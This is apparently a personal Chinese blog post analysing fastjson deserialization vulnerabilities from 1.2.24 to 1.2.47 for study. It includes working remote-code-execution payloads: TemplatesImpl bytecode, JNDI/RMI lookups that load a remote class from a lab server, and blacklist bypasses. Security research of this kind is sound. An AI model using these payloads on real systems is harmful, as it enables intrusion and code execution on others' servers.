该文是本人自己随手记录的漏洞调试记录,想系统学习漏洞推荐直接到参考链接看一些优秀大佬的博客
1、fastjson基本使用 Person类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 package  top.lrui1.entity;     import  lombok.AllArgsConstructor;  import  lombok.Data;  import  lombok.NoArgsConstructor;     @Data   @AllArgsConstructor   @NoArgsConstructor   public  class  Person  {      private  String name;       private  int  age;   } 
 
序列化 1 2 3 4 5 static  void  sec ()  {      Person  p  =  new   Person ("lrui1" , 21 );       String  jsonString  =  JSON.toJSONString(p, SerializerFeature.WriteClassName, SerializerFeature.PrettyFormat);       System.out.println(jsonString);   } 
 
反序列化 payload
1 2 3 4 5 { 	"@type" : "top.lrui1.entity.Person" ,  	"age" : 21 ,  	"name" : "lrui1"  } 
 
POC
1 2 3 4 5 6 7 8 9 static  void  unsec ()  {      String  payload  =  "{\n"  +               "\t\"@type\":\"top.lrui1.entity.Person\",\n"  +               "\t\"age\":21,\n"  +               "\t\"name\":\"lrui1\"\n"  +               "}" ;       Person  p1  =  JSON.parseObject(payload, Person.class);       System.out.println(p1.getName());   } 
 
2、漏洞分析 fastjson-1.2.24 fastjson会识别@type字段,实现任意类的反序列化
漏洞代码 
1 2 JSON.parseObject(userInput) 
 
利用链分析 
有两条比较著名的链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 
利用条件JSON.parse(poc,Feature.SupportNonPublicField)、JSON.parseObject(poc,Feature.SupportNonPublicField)
反序列化链如下
1 2 3 4 TemplatesImpl.getOutputProperties  	TemplatesImpl.newTransformer 		TemplatesImpl.defineTransletClasses  			TemplatesImpl.getTransletInstance 
 
Payload如下
1 2 3 4 5 6 7 { 	"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ,  	"_bytecodes" : [ "yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX" ] ,  	"_name" : "lrui1" ,  	"_tfactory" : {  } ,  	"_outputProperties" : {  }  } 
 
其中的bytecode,可以这样编译下方文件生成,需要继承AbstractTranslet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public  class  Calc  extends  AbstractTranslet  {    @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     }     public  Calc ()  {         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {             throw  new  RuntimeException (e);         }     } } 
 
编译后的class文件,可以使用下方代码读取
1 2 3 4 5 byte [] bytes = Files.readAllBytes(Paths.get("Evil.class" ));String  encoded  =  Base64.getEncoder().encodeToString(bytes);
 
除了手动获取bytecode,也可以使用javassist构建,一次性验证的POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public  class  fastjson1224TemplatesImpl  {    public  static  void  main (String[] args)  throws  Exception {         ClassPool  pool  =  ClassPool.getDefault(); 		CtClass  cc  =  pool.makeClass("Evil" ); 		cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); 		CtConstructor  cons  =  new  CtConstructor (new  CtClass []{}, cc); 		cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); 		cc.addConstructor(cons); 		byte [] byteCode=cc.toBytecode(); 		   		String evilCode=Base64.getEncoder().encodeToString(byteCode);   		   		String poc="{\n"  +   		        "\"@type\":\"" +TemplatesImpl.class.getName()+"\",\n"  +   		        "\"_bytecodes\":[\"" +evilCode+"\"],\n"  +   		        "\"_name\":\"lrui1\",\n"  +   		        "\"_tfactory\":{ },\n"  +   		        "\"_outputProperties\":{ }\n"  +   		        "}" ;   		   		System.out.println(poc);   		   		JSON.parse(poc,Feature.SupportNonPublicField);     } } 
 
fastjson反序列化时的特性
将字段前的下划线替换成空 _name 跟 getName 可以绑定 
反序列化顺序按照从上到下,依次调用setter和getter 
 
com.sun.rowset.JdbcRowSetImpl 
该链利用JNDI注入的参数可控
反序列化链如下
1 2 3 JdbcRowSetImpl.setAutoCommit  	JdbcRowSetImpl.connect 		InitialContext.lookup  
 
payload攻击载荷,使用javac Evil.java编译后,放在HTTP服务器中(可使用python -m http.server 80 快速启动)
1 2 3 4 5 6 7 8 9 10 import  java.io.IOException;public  class  Evil  {    static {         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {         }     } } 
 
注册JNDI目录服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import  com.sun.jndi.rmi.registry.ReferenceWrapper;  import  javax.naming.Reference;  import  java.rmi.registry.*;     public  class  JNDINameRefer  {      public  static  void  main (String[] args)  throws  Exception {           final  String  SERVER_IP  =  "192.168.19.129" ;              System.setProperty("java.rmi.server.hostname" ,SERVER_IP);            Registry  registry  =  LocateRegistry.createRegistry(9999 );           String  remote_class_server  =  "http://" +SERVER_IP+"/" ;         Reference  reference  =  new  Reference ("Evil" , "Evil" , remote_class_server);           ReferenceWrapper  referenceWrapper  =  new  ReferenceWrapper (reference);           registry.bind("Evil" , referenceWrapper);           System.out.println("start..." );       }   } 
 
反序列化JSON-payload
1 2 3 4 5 {     "@type" : "com.sun.rowset.JdbcRowSetImpl" ,      "dataSourceName" : "rmi://192.168.19.129:9999/Evil" ,      "autoCommit" :  true  } 
 
一次性验证POC
1 2 3 4 5 6 7 8 9 static  void  unsec ()  {      String  payload  =  "{\n"  +               "    \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"  +               "    \"dataSourceName\":\"rmi://192.168.19.129:9999/Evil\",\n"  +               "    \"autoCommit\": true\n"  +               "}" ;       System.out.println(payload);       JSON.parseObject(payload);   } 
 
除了上面使用代码自建JNDI目录服务,也可以使用marshalsec项目创建目录服务 https://github.com/mbechler/marshalsec 
1 2 mvn clean package -DskipTests java -cp  marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.19.129/#Evil"  9999 
 
确保HTTP服务器中存在Evil.class,然后运行验证POC,弹出计算器
参考链接 https://l3yx.github.io/2020/02/25/FastJson-1-2-24-反序列化/ 
fastjson-1.2.25 影响范围
1.2.25 <= fastjson < 1.2.42
相对于1.2.24,官方引入了checkAutoType机制,并且默认关闭autoTypeSupport;开启autoTypeSupport后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
使用1.2.24的POC,打断点跟进,程序会调用com.alibaba.fastjson.parser.ParserConfig#checkAutoType 方法,checkAutoType方法的大致逻辑如下
autoTypeSupport开启,先查白名单,再查黑名单 
autoTypeSupport未开启,先查黑名单,再查白名单 
开启了autoTypeSupport,黑白名单都未匹配,调用TypeUtils.loadClass 
 
TypeUtils.loadClass中,对JVM 类型描述符进行了处理,其中存在逻辑漏洞
typeClass为Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;,经过处理后,实际加载仍然为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 
payload
1 2 3 4 5 6 7 8 9 {     "@type" :  "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;" ,      "_bytecodes" :  [          "yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX"      ] ,      "_name" :  "lrui1" ,      "_tfactory" :  { } ,      "_outputProperties" :  { }  } 
 
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public  class  fastjson1225  {	static  {   	     	    System.setProperty("fastjson.parser.autoTypeSupport" , "true" );   	} 	 	public  static  void  main (String[] args)  throws  Exception {   	    sec();   	    unsec();   	} 	 	static  void  unsec ()  throws  Exception {   	    ClassPool  pool  =  ClassPool.getDefault(); 	    CtClass  cc  =  pool.makeClass("Evil" ); 	    cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); 	    CtConstructor  cons  =  new  CtConstructor (new  CtClass []{}, cc); 	    cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); 	    cc.addConstructor(cons); 	    byte [] byteCode=cc.toBytecode(); 	   	    String evilCode= Base64.getEncoder().encodeToString(byteCode);   	   	    String poc="{\n"  +   	            "\"@type\":\"" +TemplatesImpl.class.getName()+"\",\n"  +   	            "\"_bytecodes\":[\"" +evilCode+"\"],\n"  +   	            "\"_name\":\"lrui1\",\n"  +   	            "\"_tfactory\":{ },\n"  +   	            "\"_outputProperties\":{ }\n"  +   	            "}" ;   	   	    String  poc1  =  "{\n"  +   	            "\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n"  +   	            "\"_bytecodes\":[\"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX\"],\n"  +   	            "\"_name\":\"lrui1\",\n"  +   	            "\"_tfactory\":{ },\n"  +   	            "\"_outputProperties\":{ }\n"  +   	            "}" ;   	   	    System.out.println(poc1);   	    JSON.parseObject(poc1, Feature.SupportNonPublicField);   	} } 
 
遇到的坑setProperty
System.setProperty("fastjson.parser.autoTypeSupport", "true") 只有在 fastjson 在读取该配置之前  执行才会生效。fastjson(或其 ParserConfig / JSON 类)的静态初始化代码通常会在类第一次被加载/使用时读取该系统属性并把值缓存到静态字段里。如果你在类已经被初始化(即已经访问过 fastjson 的任何类/方法)之后再调用 System.setProperty,fastjson 已经把旧值缓存了——所以“改”了属性但没效果。把 setProperty 放在 static(或在 main 入口开始的第一行、或用 JVM -D)就能确保在 fastjson 被初始化前设置好,从而生效。
 
fastjson-1.2.42 相比于之前的版本,fastjson延续了之前的黑白名单匹配机制,但是对比的方式从字符串改为hash,防止安全研究人员进行研究
重点关注ParserConfig的checkAutoType方法,新增了一个逻辑,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除
但是该去除代码只出现了一次,且调用checkAutoType方法时是递归调用(可以自己跟一下),因此可以双写绕过。
payload
1 2 3 4 5 6 7 8 9 {     "@type" :  "LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;" ,      "_bytecodes" :  [          "yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX"      ] ,      "_name" :  "lrui1" ,      "_tfactory" :  { } ,      "_outputProperties" :  { }  } 
 
fastjson-1.2.43 该版本修复了上版本的双写绕过,出现双写则抛出异常
既然L、; 无法被利用,那就可利用[进行绕过
payload
1 2 3 4 5 6 7 8 9 {     "@type" :  "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" [ {      "_bytecodes" :  [          "yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX"      ] ,      "_name" :  "lrui1" ,      "_tfactory" :  { } ,      "_outputProperties" :  { }  } 
 
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public  class  fastjson1243  {      public  static  void  main (String[] args)  {           System.setProperty("fastjson.parser.autoTypeSupport" , "true" );           String  poc  =  "{\n"  +                   "\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[,{\n"  +                   "\"_bytecodes\":[\"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX\"],\n"  +                   "\"_name\":\"lrui1\",\n"  +                   "\"_tfactory\":{ },\n"  +                   "\"_outputProperties\":{ }\n"  +                   "}" ;           System.out.println(poc);           JSON.parseObject(poc, Feature.SupportNonPublicField);       }   } 
 
先向@type字段前添加[,后面根据报错补充
 
挖掘出添加[、[、{符号的思考
个人的堆栈调试记录
1、跟踪堆栈,验证JSON是否合法主要取决DefaultJSONParser中lexer的token值,12非法(默认),13合法(跟踪到5时,token不作为判断依据)
2、跟踪堆栈,lexer是JSONScanner的对象,JSONScanner继承至JSONLexerBase,并实现了JSONLexer的接口
3、阅读JSONLexerBase源码,其tokenName方法,调用JSONToken的name方法;name方法根据传入的int值返回对应的字符串
4、跟踪堆栈,DefaultJSONParser的parseObject(178line)方法实现对json的提取解析,调用JSONLexer的方法实现关键字提取
5、跟踪堆栈,DefaultJSONParser的parseObject(311line),调用checkAutoType方法对typename作校验
个人的思考总结:跟到这边,知道fastjson会对传入的json字符串做格式校验,需要满足其格式要求即可,大概逻辑是遍历字符串,匹配[、{、"关键字符,然后在进行特征值的提取,最后还原成Java Bean
具体"@type": "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{中,[{在哪段代码被解析,有无其他大佬文章参考,欢迎留言。
 
fastjson-1.2.44 该版本修复了上版本的[绕过问题,修复代码如下,仍然是checkAutoType方法
fastjson-1.2.45 该版本爆出黑名单绕过
绕过前提:  
1、目标服务端存在mybatis的jar包。  
2、版本需为 3.x.x ~ 3.5.0  
3、autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
payload
1 2 3 4 5 6 {     "@type" :  "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" ,      "properties" :  {          "data_source" :  "rmi://localhost:1099/Exploit"      }  } 
 
具体利用参考1.2.24,com.sun.rowset.JdbcRowSetImpl 利用链
fastjson-1.2.47 在checkAutoType中,942IF语句第一个条件是匹配黑名单,第二个条件是该typeName是否在缓存中,使用and连接两个条件,如果typeName在缓存中可以绕过黑名单的匹配,随后在TypeUtils.getClassFromMapping或者deserializers.findClass方法查找缓存,任一其一匹配到直接return,实现绕过
具体代码如下
现在就尝试将恶意类名注入到TypeUtils中,跟进getClassFromMapping,观察TypeUtils,方法getClassFromMapping调用mappings成员变量获取缓存的值
分析TypeUtils,寻找mapping变量执行put的方法,发现loadClass(String className, ClassLoader classLoader, boolean cache)如果cache为true,即可将className加入缓存mapping,具体代码如下
loadClass(String className, ClassLoader classLoader)方法默认cache值为true,在IDEA使用find usage搜索loadClass的调用处,发现MiscCodec类中的deserialze方法调用了loadClass
观察MiscCodec类deserialze方法,如果 parser.resolveStatus 为TypeNameRedirect 时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中(其中必须要有val这个键,否则语法错误)
最后根据clazz将strval调用TypeUtils类的loadClass方法,使得strval加入缓存
关于其实现了ObjectDeserializer接口,fastjson在反序列化中会调用实现了ObjectDeserializer接口的类的deserialze方法,具体代码如下(DefaultJSONParser303~386),
this.setResolveStatus(TypeNameRedirect);设置的前提条件是(来自G老师)
当前 key 是 “@type” 解析出的类型名(typeName)经过 checkAutoType() 校验返回了 合法的 Class<?> clazz 不是 立即结束的情况(即:解析完 @type 后,下一个 token 不是 })   (换句话说,if (lexer.token() == JSONToken.RBRACE) 这一块未被命中)
 
而MiscCodec类的反序列化Type—Class.class,可以通过deserializers.findClass搜索到缓存,deserializers在ParserConfig类中有一个初始化deserializers的操作,具体代码如下
总结,先反序列化java.lang.Class触发MiscCodec中的deserialze方法注入恶意类缓存,随后进行恶意类的反序列化即可
payload(分两次发)
1 2 3 4 5 6 7 8 9 10 11 12 {     "lrui1" :  {          "@type" :  "java.lang.Class" ,          "val" :  "com.sun.rowset.JdbcRowSetImpl"      } ,      "lrui2" :  ""  } {     "@type" :  "com.sun.rowset.JdbcRowSetImpl" ,      "dataSourceName" :  "rmi://192.168.1.2:9999/Evil" ,      "autoCommit" :  true  } 
 
可将上述payload简化为下方json
1 2 3 4 5 6 7 8 9 10 11 {     "lrui1" :  {          "@type" :  "java.lang.Class" ,          "val" :  "com.sun.rowset.JdbcRowSetImpl"      } ,      "lrui2" :  {          "@type" :  "com.sun.rowset.JdbcRowSetImpl" ,          "dataSourceName" :  "rmi://192.168.1.2:9999/Evil" ,          "autoCommit" :  true      }  } 
 
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 String  poc  =  "{\n"  +                "    \"lrui1\": {\n"  +                 "        \"@type\": \"java.lang.Class\",\n"  +                 "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n"  +                 "    },\n"  +                 "    \"lrui2\": {\n"  +                 "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n"  +                 "        \"dataSourceName\": \"rmi://192.168.1.2:9999/Evil\",\n"  +                 "        \"autoCommit\": true\n"  +                 "    }\n"  +                 "}  " ; System.out.println(poc); JSON.parseObject(poc); 
 
JNDI相关利用可参考fastjson-1.2.24
 
现在可以解释一下,该漏洞的利用,分为两种情况
1.2.25-1.2.32:  未开启AutoTypeSupport时能成功利用 
1.2.33-1.2.47:  无论是否开启AutoTypeSupport都能成功利用 
 
先解释下1.2.33 <= fastjson <= 1.2.47,具体如图所示
1.2.25 <= fastjson <= 1.2.32 具体如图所示
fastjson-1.2.68 
太复杂了,先鸽着
 
fastjson-1.2.80 
太复杂了,先鸽着
 
PS 1、关于TemplatesImpl ,为什么不直接给_class序列化值,而是要通过加载bytecode?
观察以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private  Translet getTransletInstance ()         throws  TransformerConfigurationException {     try  {         if  (_name == null ) return  null ;         if  (_class == null ) defineTransletClasses();                           AbstractTranslet  translet  =  (AbstractTranslet) _class[_transletIndex].newInstance();         translet.postInitialization();         translet.setTemplates(this );         translet.setServicesMechnism(_useServicesMechanism);         translet.setAllowedProtocols(_accessExternalStylesheet);         if  (_auxClasses != null ) {             translet.setAuxiliaryClasses(_auxClasses);         }         return  translet;     }     catch  (InstantiationException e) {         ErrorMsg  err  =  new  ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name);         throw  new  TransformerConfigurationException (err.toString());     }     catch  (IllegalAccessException e) {         ErrorMsg  err  =  new  ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name);         throw  new  TransformerConfigurationException (err.toString());     } } 
 
触发类实例化的代码是有,但是仅仅是类的实例化,即使加载了Runtime,也无法调用其getRuntime().exec()方法,所以要通过加载自定义bytecode,在类实例化期间实现反射加载Runtime,实现RCE
2、fastjson 反序列化为什么调用getter ?
参考** https://goodapple.top/archives/832** 
需要满足
1 2 3 4 5 6 只存在getter方法,无settet方法。 方法名称长度大于4。 非静态方法。 方法名以get开头,且第四个字符为大写字母。 方法不用传入参数。 方法的返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和AtomicLong的其中一个。 
 
demo代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package  top.lrui1.fastjson;import  com.alibaba.fastjson.JSON;import  com.alibaba.fastjson.parser.Feature;public  class  Fastjson_Learning  {    public  static  void  main (String[] args)  {         String  json  =  "{\\n"  +                 "  \\" @type \\": \\" top.lrui1.Person\\",\\n"  +                 "  \\" name\\": \\" lrui1\\",\\n"  +                 "  \\" age\\": 22,\\n"  +                 "  \\" dataMap\\": {\\" key\\": \\" value\\"}\\n"  +                 "}" ;         Object  obj  =  JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);         System.out.println("反序列化完成" );         System.out.println(obj);     } } 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package  top.lrui1;import  java.util.HashMap;import  java.util.Map;public  class  Person  {    private  String name;     private  int  age;     private  Map<String, String> dataMap = new  HashMap <>();     public  Person ()  {         System.out.println("调用无参构造方法" );     }     public  String getName ()  {         System.out.println("调用 getName" );         return  name;     }     public  int  getAge ()  {         System.out.println("调用 getAge" );         return  age;     }          public  Map<String, String> getDataMap ()  {         System.out.println("调用 getDataMap" );         return  dataMap;     }     @Override      public  String toString ()  {         return  "Person{"  +                 "name='"  + name + '\\' ' +                  ", age=" + age +                 ", dataMap=" + dataMap +                 ' }';     } } 
 
参考链接 https://www.freebuf.com/articles/web/283585.html 
https://su18.org/post/fastjson/ 
https://blog.csdn.net/Destiny_one/article/details/142203895 
https://zhuanlan.zhihu.com/p/665655608